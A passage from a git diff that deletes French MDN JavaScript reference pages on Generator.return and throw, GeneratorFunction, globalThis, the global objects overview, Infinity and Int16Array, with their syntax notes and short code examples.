Note : Si done vaut true, return(valeur) renverra la même chose que next() : undefined. Si aucun argument n'est fourni, la propriété value de l'objet renvoyé sera la même qu'avec un appel à .next(). Si un argument est fourni, c'est lui qui sera utilisé comme valeur pour l'attribut value du résultat.

- -
function* gen() {
-  yield 1;
-  yield 2;
-  yield 3;
-}
-var g = gen();
-console.log(g.next()); // { value: 1; done: false}
-console.log(g.next()); // { value: 2; done: false}
-console.log(g.next()); // { value: 3; done: false}
-console.log(g.next()); // { value: undefined; done: true}
-console.log(g.return()); // { value: undefined; done: true}
-console.log(g.return(1)); // { value: 1; done: true}
-
-
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-generator.prototype.return', 'Generator.prototype.return')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-generator.prototype.return', 'Generator.prototype.return')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Generator.return")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/generator/throw/index.html b/files/fr/web/javascript/reference/objets_globaux/generator/throw/index.html deleted file mode 100644 index efcc057257..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/generator/throw/index.html +++ /dev/null @@ -1,101 +0,0 @@ ---- -title: Generator.prototype.throw() -slug: Web/JavaScript/Reference/Objets_globaux/Generator/throw -tags: - - ECMAScript 2015 - - Generator - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Generator/throw ---- -
{{JSRef}}
- -

La méthode throw() lève une erreur dans un générateur.

- -

Syntaxe

- -
gen.throw(exception)
- -

Paramètres

- -
-
exception
-
L'exception à lever. On préfèrera généralement utiliser un objet qui est une instance d'{{jsxref("Error")}}.
-
- -

Valeur de retour

- -

Un {{jsxref("Object")}} avec deux propriétés :

- -
    -
  • done (un booléen) - -
      -
    • Qui vaut true lorsque l'itérateur a fini de parcourir la suite. Dans ce cas, value correspondra éventuellement à la valeur de retour de l'itérateur.
      • -
    • Qui vaut false si l'itérateur a pu produire la prochaine valeur de la série.
      • -
    -
    • -
  • value : une valeur renvoyée par l'itérateur. Lorsque done vaut true, cette valeur peut être absente ou valoir undefined.
    • -
- -

Exemples

- -

Utiliser throw()

- -

Dans l'exemple suivant, on utilise un générateur simple et on génère une exception grâce à la méthode throw(). Une exception peut être interceptée avec un bloc {{jsxref("Instructions/try...catch","try...catch")}} usuel.

- -
function* gen() {
-  while(true) {
-    try {
-       yield 42;
-    } catch(e) {
-      console.log("Erreur interceptée !");
-    }
-  }
-}
-
-var g = gen();
-g.next();
-// { value: 42, done: false }
-g.throw(new Error("Quelque chose s'est mal passé"));
-// "Erreur interceptée !"
-// { value: 42, done: false }
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES2015', '#sec-generator.prototype.throw', 'Generator.prototype.throw')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-generator.prototype.throw', 'Generator.prototype.throw')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Generator.throw")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Instructions/function*","function*")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/generatorfunction/index.html b/files/fr/web/javascript/reference/objets_globaux/generatorfunction/index.html deleted file mode 100644 index fa791f53b6..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/generatorfunction/index.html +++ /dev/null @@ -1,115 +0,0 @@ ---- -title: GeneratorFunction -slug: Web/JavaScript/Reference/Objets_globaux/GeneratorFunction -tags: - - Constructor - - ECMAScript 2015 - - GeneratorFunction - - Iterator - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/GeneratorFunction ---- -
{{JSRef}}
- -

Le constructeur GeneratorFunction permet de créer un nouvel objet qui est une {{jsxref("Instructions/function*", "fonction génératrice","",1)}}. En JavaScript, chaque générateur (ou fonction génératrice) est un objet GeneratorFunction.

- -

L'objet GeneratorFunction n'est pas un objet global. Il peut être obtenu en exécutant le code suivant :

- -
Object.getPrototypeOf(function*(){}).constructor
-
- -

Syntaxe

- -
new GeneratorFunction ([arg1[, arg2[, ...argN]],] corpsFonction)
- -

Paramètres

- -
-
arg1, arg2, ... argN
-
Les noms à utiliser pour les arguments formellement déclarés. Chacun doit être une chaîne de caractères correspondant à un identifiant JavaScript valide ou une liste de telles chaînes séparées par des virgules. Par exemple, on peut avoir "x", "maValeur", ou "a,b".
-
corpsFonction
-
Une chaîne qui contient les instructions JavaScript qui composent la définition de la fonction.
-
- -

Description

- -

Les {{jsxref("Instructions/function*", "fonctions génératrices","",1)}} créées avec le constructeur GeneratorFunction sont analysés lorsque la fonction est crée. Cela est moins efficace que de déclarer un générateur avec une expression {{jsxref("Statements/function*", "function*")}} puis de l'appeler car ces fonctions sont analysées avec le reste du code (ce qui permet au moteur JavaScript d'effectuer certaines optimisations).

- -

Tous les arguments passés à la fonction sont traités par la suite avec les noms des identifiants utilisés pour les noms des paramètres lors de la création de la fonction et avec cet ordre là.

- -
-

Note : Les {{jsxref("Instructions/function*", "générateurs","",1)}} créés avec le constructeur GeneratorFunction ne créent pas de fermetures avec leurs contextes de création. Ils sont toujours créés dans la portée globale. Lorsqu'ils sont exécutés, ils n'ont accès qu'à leurs variables locales et aux variables globales et ils n'ont pas accès aux variables de la portée où a eu lieu l'appel à GeneratorFunction. Ce comportement est différent de celui obtenu lorsqu'on appelle {{jsxref("Objets_globaux/eval", "eval")}} avec du code correspondant à une expression de générateur.

-
- -

L'appel du constructeur GeneratorFunction comme fonction (c'est-à-dire sans utiliser l'opérateur new) aura le même effet que si celui-ci est invoqué comme constructeur.

- -

Propriétés

- -
-
GeneratorFunction.length
-
La propriété de longueur du constructeur GeneratorFunction qui vaut 1.
-
{{jsxref("GeneratorFunction.prototype")}}
-
Le prototype du constructeur qui permet d'ajouter des propriétés à tous les générateurs.
-
- -

Le prototype de GeneratorFunction

- -

Propriétés

- -
{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/GeneratorFunction/prototype', 'Properties')}}
- -

Les instances de GeneratorFunction

- -

Les instances de GeneratorFunction héritent des méthodes et propriétés de {{jsxref("GeneratorFunction.prototype")}}. Comme pour tous les constructeurs, il est possible de modifier le prototype afin d'apporter des modifications à toutes les instances de GeneratorFunction.

- -

Exemples

- -

Créer un générateur en utilisant le constructeur GeneratorFunction

- -
var GeneratorFunction = Object.getPrototypeOf(function*(){}).constructor
-var g = new GeneratorFunction("a", "yield a * 2");
-var itérateur = g(10);
-console.log(itérateur.next().value); // 20
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES2015', '#sec-generatorfunction-objects', 'GeneratorFunction')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-generatorfunction-objects', 'GeneratorFunction')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.GeneratorFunction")}}

-
- -

Voir aussi

- -
    -
  • L'instruction {{jsxref("Instructions/function*", "function*")}}
    • -
  • L'expression {{jsxref("Opérateurs/function*", "function*")}}
    • -
  • {{jsxref("Function")}}
    • -
  • L'instruction {{jsxref("Instructions/function", "function")}}
    • -
  • L'expression {{jsxref("Opérateurs/L_opérateur_function", "function")}}
    • -
  • {{jsxref("Fonctions", "Les fonctions et portées de fonctions", "", 1)}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/generatorfunction/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/generatorfunction/prototype/index.html deleted file mode 100644 index 1a23ca8eb5..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/generatorfunction/prototype/index.html +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: GeneratorFunction.prototype -slug: Web/JavaScript/Reference/Objets_globaux/GeneratorFunction/prototype -tags: - - ECMAScript 2015 - - GeneratorFunction - - Iterator - - JavaScript - - Propriété - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/GeneratorFunction -translation_of_original: Web/JavaScript/Reference/Global_Objects/GeneratorFunction/prototype ---- -
{{JSRef}}
- -

La propriété GeneratorFunction.prototype représente le prototype de l'objet {{jsxref("GeneratorFunction")}}.

- -

Description

- -

Les objets {{jsxref("GeneratorFunction")}} héritent de GeneratorFunction.prototype. GeneratorFunction.prototype ne peut pas être modifié.

- -

Propriétés

- -
-
GeneratorFunction.constructor
-
La valeur initiale correspond à {{jsxref("GeneratorFunction")}}.
-
GeneratorFunction.prototype.prototype
-
La valeur est %GeneratorPrototype%.
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES2015', '#sec-generatorfunction.prototype', 'GeneratorFunction.prototype')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-generatorfunction.prototype', 'GeneratorFunction.prototype')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.GeneratorFunction.prototype")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("GeneratorFunction")}}
    • -
  • {{jsxref("Function")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/globalthis/index.html b/files/fr/web/javascript/reference/objets_globaux/globalthis/index.html deleted file mode 100644 index 30338dd4a9..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/globalthis/index.html +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: globalThis -slug: Web/JavaScript/Reference/Objets_globaux/globalThis -tags: - - JavaScript - - Reference - - globalThis -translation_of: Web/JavaScript/Reference/Global_Objects/globalThis ---- -
{{jsSidebar("Objects")}}
- -

La propriété globale globalThis renvoie l'objet global de plus haut niveau.

- -
{{EmbedInteractiveExample("pages/js/globalprops-globalthis.html")}}
- - - -

Syntaxe

- -
globalThis
-
- -

Description

- -

Par le passé, il était nécessaire d'utiliser différentes syntaxes pour différents environnements afin d'accéder à la portée globale. Sur le Web, on peut utiliser {{domxref("Window.window", "window")}}, {{domxref("Window.self", "self")}} ou {{domxref("Window.frames", "frames")}} ; pour les web workers, seul self peut être employé ; pour Node.js aucun de ces mots-clés ne fonctionne et il faut utiliser global.
- Le mot-clé this pouvait être utilisé à l'intérieur des fonctions en mode non-strict mais vaudra sinon undefined dans les modules et dans les fonctions utilisant le mode strict.

- -

La propriété globalThis fournit une méthode standard d'accès à l'objet this global, quel que soit l'environnement. Contrairement aux propriétés window et self, ce mot-clé fonctionnera quel que soit le contexte (que celui-ci soit doté de fenêtres ou non). Ainsi, on peut accéder à l'objet global de façon homogène, quel que soit l'environnement dans lequel le code est utilisé.

- -

Pour mieux mémoriser ce nom, on se rappellera que la valeur de this dans la portée globale est globalThis.

- -

Accès indirect à la variable globale dans un contexte web

- -

Dans la plupart des environnements, globalThis sera une référence directe à l'objet global. Cependant, dans les navigateurs web, avec les principes de sécurité relatifs aux iframes et aux liens entre les fenêtres, globalThis fournira un {{jsxref("Proxy")}} sur l'objet global (auquel on n'aura donc pas accès directement).

- -

Nommage

- -

D'autres noms furent proposés pour cette fonctionnalité (tels que self et global) mais ils furent écartés car ils pouvaient entraîner des problèmes de compatibilité avec du code existant. Pour plus de détails, voir le document de la proposition pour le nommage.

- -

Exemples

- -

Avant l'introduction de globalThis, la seule façon qui permettait d'obtenir l'objet global de l'environnement de façon homogène était Function('return this')(). Toutefois, cela enfreignait certaines règles CSP avec certains réglages et es6-shim, par exemple, devait utiliser une logique conditionnelle :

- -
var getGlobal = function () {
-  if (typeof self !== 'undefined') { return self; }
-  if (typeof window !== 'undefined') { return window; }
-  if (typeof global !== 'undefined') { return global; }
-  throw new Error("impossible de trouver l'objet global");
-};
-
-var globals = getGlobal();
-
-if (typeof globals.setTimeout !== 'function') {
-  // pas de setTimeout pour cet environnement
-}
-
- -

Avec globalThis, il n'est plus nécessaire de parcourir les différents mots-clés des différents environnements :

- -
if (typeof globalThis.setTimeout !== 'function') {
-  // pas de setTimeout pour cet environnement
-}
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Proposition pour globalThisProposition de niveau 3 (stage 3)
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.globalThis")}}

diff --git a/files/fr/web/javascript/reference/objets_globaux/index.html b/files/fr/web/javascript/reference/objets_globaux/index.html deleted file mode 100644 index 6316e7f6fc..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/index.html +++ /dev/null @@ -1,185 +0,0 @@ ---- -title: Objets globaux -slug: Web/JavaScript/Reference/Objets_globaux -tags: - - Aperçu - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects ---- -
{{jsSidebar("Objects")}}
- -

Cette partie référence tous les objets natifs standards JavaScript, avec leurs propriétés et méthodes.

- -

Le terme « objets globaux » (ou objets natifs standards) ne doit pas ici être confondu avec l'objet global. Ici, « objets globaux » se réfère aux objets de portée globale. L'objet global lui-même peut être accédé en utilisant {{jsxref("Opérateurs/L_opérateur_this", "this")}} dans la portée globale (uniquement lorsque le mode strict n'est pas utilisé, sinon, il renvoie {{jsxref("undefined")}}). En réalité, la portée globale consiste des propriétés de l'objet global (avec ses propriétés héritées, s'il en a).

- -
-

Note : En mode strict, la portée globale représentée par this sera {{jsxref("undefined")}}.

-
- -

Les autres objets de la portée globale sont créés par les scripts utilisateurs ou fournis par l'application hôte dans laquelle s'exécute JavaScript. Les objets mis à disposition par les navigateurs web sont documentés dans la référence API. Pour plus d'informations sur la distinction entre le DOM et JavaScript, voir l'aperçu des technologies JavaScript.

- -

Objets globaux standards (par catégorie)

- -

Propriétés - valeurs

- -

Les propriétés globales renvoient une valeur simple, elles ne possèdent aucune propriété ou méthode :

- -
    -
  • {{jsxref("Infinity")}}
    • -
  • {{jsxref("NaN")}}
    • -
  • {{jsxref("undefined")}}
    • -
  • le littéral {{jsxref("null")}}
    • -
  • {{JSxRef("globalThis")}}
    • -
- -

Propriétés - fonctions

- -

Les fonctions globales, appelées globalement (et non par rapport à un objet), renvoient directement leur résultat à l'objet appelant.

- -
    -
  • {{jsxref("Objets_globaux/eval", "eval()")}}
    • -
  • {{jsxref("Objets_globaux/uneval", "uneval()")}} {{non-standard_inline()}}
    • -
  • {{jsxref("Objets_globaux/isFinite", "isFinite()")}}
    • -
  • {{jsxref("Objets_globaux/isNaN", "isNaN()")}}
    • -
  • {{jsxref("Objets_globaux/parseFloat", "parseFloat()")}}
    • -
  • {{jsxref("Objets_globaux/parseInt", "parseInt()")}}
    • -
  • {{jsxref("Objets_globaux/decodeURI", "decodeURI()")}}
    • -
  • {{jsxref("Objets_globaux/decodeURIComponent", "decodeURIComponent()")}}
    • -
  • {{jsxref("Objets_globaux/encodeURI", "encodeURI()")}}
    • -
  • {{jsxref("Objets_globaux/encodeURIComponent", "encodeURIComponent()")}}
    • -
  • {{jsxref("Objets_globaux/escape", "escape()")}} {{deprecated_inline()}}
    • -
  • {{jsxref("Objets_globaux/unescape", "unescape()")}} {{deprecated_inline()}}
    • -
- -

Objets fondamentaux

- -

Ces objets sont les objets fondamentaux de JavaScript. Parmi ces objets, on retrouve les objets génériques, les fonctions et les erreurs.

- -
    -
  • {{jsxref("Object")}}
    • -
  • {{jsxref("Function")}}
    • -
  • {{jsxref("Boolean")}}
    • -
  • {{jsxref("Symbol")}}
    • -
  • {{jsxref("Error")}}
    • -
  • {{jsxref("EvalError")}}
    • -
  • {{jsxref("InternalError")}} {{Non-standard_Inline}}
    • -
  • {{jsxref("RangeError")}}
    • -
  • {{jsxref("ReferenceError")}}
    • -
  • {{jsxref("StopIteration")}}
    • -
  • {{jsxref("SyntaxError")}}
    • -
  • {{jsxref("TypeError")}}
    • -
  • {{jsxref("URIError")}}
    • -
- -

Nombres et dates

- -

Ces objets permettent de manipuler les nombres, dates et calculs mathématiques.

- -
    -
  • {{jsxref("Number")}}
    • -
  • {{JSxRef("BigInt")}}
    • -
  • {{jsxref("Math")}}
    • -
  • {{jsxref("Date")}}
    • -
- -

Manipulation de textes

- -

Ces objets permettent de manipuler des chaînes de caractères.

- -
    -
  • {{jsxref("String")}}
    • -
  • {{jsxref("RegExp")}}
    • -
- -

Collections indexées

- -

Ces objets sont des collections ordonnées par un index. Cela inclut les tableaux (typés) et les objets semblables aux tableaux.

- -
    -
  • {{jsxref("Array")}}
    • -
  • {{jsxref("Int8Array")}}
    • -
  • {{jsxref("Uint8Array")}}
    • -
  • {{jsxref("Uint8ClampedArray")}}
    • -
  • {{jsxref("Int16Array")}}
    • -
  • {{jsxref("Uint16Array")}}
    • -
  • {{jsxref("Int32Array")}}
    • -
  • {{jsxref("Uint32Array")}}
    • -
  • {{jsxref("Float32Array")}}
    • -
  • {{jsxref("Float64Array")}}
    • -
  • {{jsxref("BigInt64Array")}}
    • -
  • {{jsxref("BigUint64Array")}}
    • -
- -

Collections avec clefs

- -

Ces objets représentent des collections d'objets avec clefs. Ils contiennent des éléments itérables, dans leur ordre d'insertion.

- -
    -
  • {{jsxref("Map")}}
    • -
  • {{jsxref("Set")}}
    • -
  • {{jsxref("WeakMap")}}
    • -
  • {{jsxref("WeakSet")}}
    • -
- -

Données structurées

- -

Ces objets permettent de représenter et de manipuler des tampons de données (buffers) et des données utilisant la notation JSON (JavaScript Object Notation).

- -
    -
  • {{jsxref("ArrayBuffer")}}
    • -
  • {{jsxref("SharedArrayBuffer")}} {{experimental_inline}}
    • -
  • {{jsxref("Atomics")}} {{experimental_inline}}
    • -
  • {{jsxref("DataView")}}
    • -
  • {{jsxref("JSON")}}
    • -
- -

Objets de contrôle d'abstraction

- -
    -
  • {{jsxref("Promise")}}
    • -
  • {{jsxref("Generator")}}
    • -
  • {{jsxref("GeneratorFunction")}}
    • -
  • {{jsxref("AsyncFunction")}}{{experimental_inline}}
    • -
- -

Introspection

- -
    -
  • {{jsxref("Reflect")}}
    • -
  • {{jsxref("Proxy")}}
    • -
- -

Internationalisation

- -

Ces objets ont été ajoutés à ECMAScript pour des traitements dépendants de particularités linguistiques. Ils possèdent leur propre spécification.

- -
    -
  • {{jsxref("Intl")}}
    • -
  • {{jsxref("Objets_globaux/Collator", "Intl.Collator")}}
    • -
  • {{jsxref("Objets_globaux/DateTimeFormat", "Intl.DateTimeFormat")}}
    • -
  • {{JSxRef("Global_Objects/ListFormat", "Intl.ListFormat")}}
    • -
  • {{jsxref("Objets_globaux/NumberFormat", "Intl.NumberFormat")}}
    • -
  • {{JSxRef("Global_Objects/PluralRules", "Intl.PluralRules")}}
    • -
  • {{jsxref("Objets_globaux/RelativeTimeFormat", "Intl.RelativeTimeFormat")}}
    • -
  • {{jsxref("Objets_globaux/Locale", "Intl.Locale")}}
    • -
- -

WebAssembly

- -
    -
  • {{jsxref("WebAssembly")}}
    • -
  • {{jsxref("WebAssembly.Module")}}
    • -
  • {{jsxref("WebAssembly.Instance")}}
    • -
  • {{jsxref("WebAssembly.Memory")}}
    • -
  • {{jsxref("WebAssembly.Table")}}
    • -
  • {{jsxref("WebAssembly.CompileError")}}
    • -
  • {{jsxref("WebAssembly.LinkError")}}
    • -
  • {{jsxref("WebAssembly.RuntimeError")}}
    • -
- -

Autres

- -
    -
  • {{JSxRef("Fonctions/arguments", "arguments")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/infinity/index.html b/files/fr/web/javascript/reference/objets_globaux/infinity/index.html deleted file mode 100644 index 1259fea9c2..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/infinity/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: Infinity -slug: Web/JavaScript/Reference/Objets_globaux/Infinity -tags: - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Infinity ---- -
{{jsSidebar("Objects")}}
- -

La propriété globale Infinity est une valeur numérique représentant l'infini.

- -

{{js_property_attributes(0,0,0)}}

- -
{{EmbedInteractiveExample("pages/js/globalprops-infinity.html")}}
- - - -

Syntaxe

- -
Infinity
- -

Description

- -

Infinity est une propriété de l'objet global , c'est-à-dire qu'elle est accessible globalement.

- -

La valeur initiale d'Infinity est {{jsxref("Number.POSITIVE_INFINITY")}}. La valeur Infinity (infinité positive) est une valeur plus grande que n'importe quel nombre. Cette valeur se comporte comme l'infini mathématique ; par exemple, tout ce qui est multiplié par Infinity vaut Infinity, et tout ce qui est divisé par Infinity vaut 0.

- -

D'après la spécification ECMAScript 5, Infinity est en lecture seule.

- -

Exemples

- -
console.log(Infinity);          // Infinity
-console.log(Infinity + 1);      // Infinity
-console.log(Math.pow(10, 1000)); // Infinity
-console.log(Math.log(0));       // -Infinity
-console.log(1 / Infinity);      // 0
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3
{{SpecName('ES5.1', '#sec-15.1.1.2', 'Infinity')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-value-properties-of-the-global-object-infinity', 'Infinity')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-value-properties-of-the-global-object-infinity', 'Infinity')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Infinity")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Number.NEGATIVE_INFINITY")}}
    • -
  • {{jsxref("Number.POSITIVE_INFINITY")}}
    • -
  • {{jsxref("Number.isFinite")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/int16array/index.html b/files/fr/web/javascript/reference/objets_globaux/int16array/index.html deleted file mode 100644 index fc882ab1b9..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/int16array/index.html +++ /dev/null @@ -1,205 +0,0 @@ ---- -title: Int16Array -slug: Web/JavaScript/Reference/Objets_globaux/Int16Array -tags: - - Constructor - - JavaScript - - Reference - - TypedArray - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/Int16Array ---- -
{{JSRef}}
- -

Le tableau typé Int16Array permet de représenter un tableau d'entiers signés (en complément à deux) représentés sur 16 bits et dans l'ordre des octets de la plate-forme. Pour avoir un contrôle sur le boutisme utilisé, il faudra utiliser un objet {{jsxref("DataView")}} à la place. Les éléments du tableau sont initialisés à 0. Une fois le tableau construit, il est possible de faire référence aux éléments en utilisant les méthodes de l'objet ou en utilisant la notation usuelle de parcours d'un tableau (la syntaxe utilisant les crochets).

- -

Syntaxe

- -
new Int16Array(); // apparu avec ES2017
-new Int16Array(longueur);
-new Int16Array(tableauTypé);
-new Int16Array(objet);
-new Int16Array(buffer [, positionOctet [, longueur]]);
- -

Pour plus d'informations sur la syntaxe du constructeur, voir la page sur les tableaux typés (TypedArray).

- -

Propriétés

- -
-
{{jsxref("TypedArray.BYTES_PER_ELEMENT", "Int16Array.BYTES_PER_ELEMENT")}}
-
Renvoie un nombre représentant la taille d'un élément du tableau en termes d'octets. Dans le cas de Int16Array, la propriété vaudra 2.
-
Int16Array.length
-
Une propriété de longueur qui vaut 3. Pour connaître le nombre d'élément, voir {{jsxref("TypedArray.prototype.length", "Int16Array.prototype.length")}}.
-
{{jsxref("TypedArray.name", "Int16Array.name")}}
-
Renvoie la chaîne de caractère représentant le nom du constructeur. Dans le cas de Int16Array, la propriété vaudra "Int16Array".
-
{{jsxref("TypedArray.prototype", "Int16Array.prototype")}}
-
Prototype pour les objets TypedArray.
-
- -

Méthodes

- -
-
{{jsxref("TypedArray.from", "Int16Array.from()")}}
-
Crée un nouvel objet Int16Array à partir d'un objet semblable à un tableau ou d'un objet itérable. Voir également la page {{jsxref("Array.from()")}}.
-
{{jsxref("TypedArray.of", "Int16Array.of()")}}
-
Crée un nouvel objet Int16Array à partir d'un nombre variable d'arguments. Voir également la page {{jsxref("Array.of()")}}.
-
- -

Prototype de Int16Array

- -

Tous les objets Int16Array héritent de {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.

- -

Propriétés

- -
-
Int16Array.prototype.constructor
-
Renvoie la fonction qui a créé le prototype de l'instance. Par défaut, ce sera le constructeur natif Int16Array.
-
{{jsxref("TypedArray.prototype.buffer", "Int16Array.prototype.buffer")}} {{readonlyInline}}
-
Renvoie l'{{jsxref("ArrayBuffer")}} référencée par l'objet Int16Array. Cette propriété est déterminée lors de la construction de l'objet et n'est accessible qu'en lecture seule.
-
{{jsxref("TypedArray.prototype.byteLength", "Int16Array.prototype.byteLength")}} {{readonlyInline}}
-
Renvoie la longueur, exprimée en octets, de l'objet Int16Array depuis le début de l'{{jsxref("ArrayBuffer")}} correspondant. Cette propriété est déterminée lors de la construction de l'objet et n'est accessible qu'en lecture seule.
-
{{jsxref("TypedArray.prototype.byteOffset", "Int16Array.prototype.byteOffset")}} {{readonlyInline}}
-
Renvoie le décalage, exprimé en octets, entre l'objet Int16Array et le début de l'{{jsxref("ArrayBuffer")}} correspondant. Cette propriété est déterminée lors de la construction de l'objet et n'est accessible qu'en lecture seule.
-
{{jsxref("TypedArray.prototype.length", "Int16Array.prototype.length")}} {{readonlyInline}}
-
Renvoie le nombre d'éléments contenus dans l'objet Int16Array. Cette propriété est déterminée lors de la construction de l'objet et n'est accessible qu'en lecture seule.
-
- -

Méthodes

- -
-
{{jsxref("TypedArray.copyWithin", "Int16Array.prototype.copyWithin()")}}
-
Copie une suite d'éléments d'un tableau dans le tableau. Voir également {{jsxref("Array.prototype.copyWithin()")}}.
-
{{jsxref("TypedArray.entries", "Int16Array.prototype.entries()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les paires clé/valeur pour chaque indice du tableau. Voir également {{jsxref("Array.prototype.entries()")}}.
-
{{jsxref("TypedArray.every", "Int16Array.prototype.every()")}}
-
Teste si l'ensemble des éléments du tableau remplissent une certaine condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.every()")}}.
-
{{jsxref("TypedArray.fill", "Int16Array.prototype.fill()")}}
-
Remplit les éléments d'un tableau avec une certaine valeur pour les éléments compris entre un indice de début et un indice de fin. Voir également {{jsxref("Array.prototype.fill()")}}.
-
{{jsxref("TypedArray.filter", "Int16Array.prototype.filter()")}}
-
Crée un nouveau tableau dont tous les éléments proviennent de ce tableau et respectent une condition fournie par une fonction de test. Voir également {{jsxref("Array.prototype.filter()")}}.
-
{{jsxref("TypedArray.find", "Int16Array.prototype.find()")}}
-
Renvoie une valeur trouvée dans le tableau s'il existe un élément du tableau qui satisfait une condition fournie par une fonction de test, s'il n'y a pas de tel élément undefined sera renvoyé. Voir également {{jsxref("Array.prototype.find()")}}.
-
{{jsxref("TypedArray.findIndex", "Int16Array.prototype.findIndex()")}}
-
Renvoie l'indice d'un élément qui satisfait une condition fournie par une fonction de test, si aucun élément ne remplit la condition -1 sera renvoyé. Voir également {{jsxref("Array.prototype.findIndex()")}}.
-
{{jsxref("TypedArray.forEach", "Int16Array.prototype.forEach()")}}
-
Appelle une fonction pour chacun des élément du tableau. Voir également {{jsxref("Array.prototype.forEach()")}}.
-
{{jsxref("TypedArray.includes", "Int16Array.prototype.includes()")}}
-
Détermine si le tableau typé contient un élément donné. Cette méthode renvoie true ou false selon le cas de figure. Voir également {{jsxref("Array.prototype.includes()")}}.
-
{{jsxref("TypedArray.indexOf", "Int16Array.prototype.indexOf()")}}
-
Renvoie le premier indice (le plus petit) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.indexOf()")}}.
-
{{jsxref("TypedArray.join", "Int16Array.prototype.join()")}}
-
Fusionne l'ensemble des éléments du tableau en une chaîne de caractères. Voir également {{jsxref("Array.prototype.join()")}}.
-
{{jsxref("TypedArray.keys", "Int16Array.prototype.keys()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les clés de chaque indice du tableau. Voir également {{jsxref("Array.prototype.keys()")}}.
-
{{jsxref("TypedArray.lastIndexOf", "Int16Array.prototype.lastIndexOf()")}}
-
Renvoie le dernier indice (le plus élevé) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.lastIndexOf()")}}.
-
{{jsxref("TypedArray.map", "Int16Array.prototype.map()")}}
-
Crée un nouveau tableau dont les éléments sont les images des éléments du tableau courant par une fonction donnée. Voir également {{jsxref("Array.prototype.map()")}}.
-
{{jsxref("TypedArray.move", "Int16Array.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}
-
Ancienne version, non-standard, de {{jsxref("TypedArray.copyWithin", "Int16Array.prototype.copyWithin()")}}.
-
{{jsxref("TypedArray.reduce", "Int16Array.prototype.reduce()")}}
-
Applique une fonction sur un accumulateur et chaque élément du tableau (de gauche à droite) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduce()")}}.
-
{{jsxref("TypedArray.reduceRight", "Int16Array.prototype.reduceRight()")}}
-
Applique une fonction sur un accumulateur et chaque élément du tableau (de droite à gauche) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduceRight()")}}.
-
{{jsxref("TypedArray.reverse", "Int16Array.prototype.reverse()")}}
-
Inverse l'ordre des éléments d'un tableau. Le premier élément du tableau devient le dernier et le dernier devient le premier (et ainsi de suite). Voir également {{jsxref("Array.prototype.reverse()")}}.
-
{{jsxref("TypedArray.set", "Int16Array.prototype.set()")}}
-
Enregistre plusieurs valeurs dans le tableau typé à partir de valeurs d'un autre tableau.
-
{{jsxref("TypedArray.slice", "Int16Array.prototype.slice()")}}
-
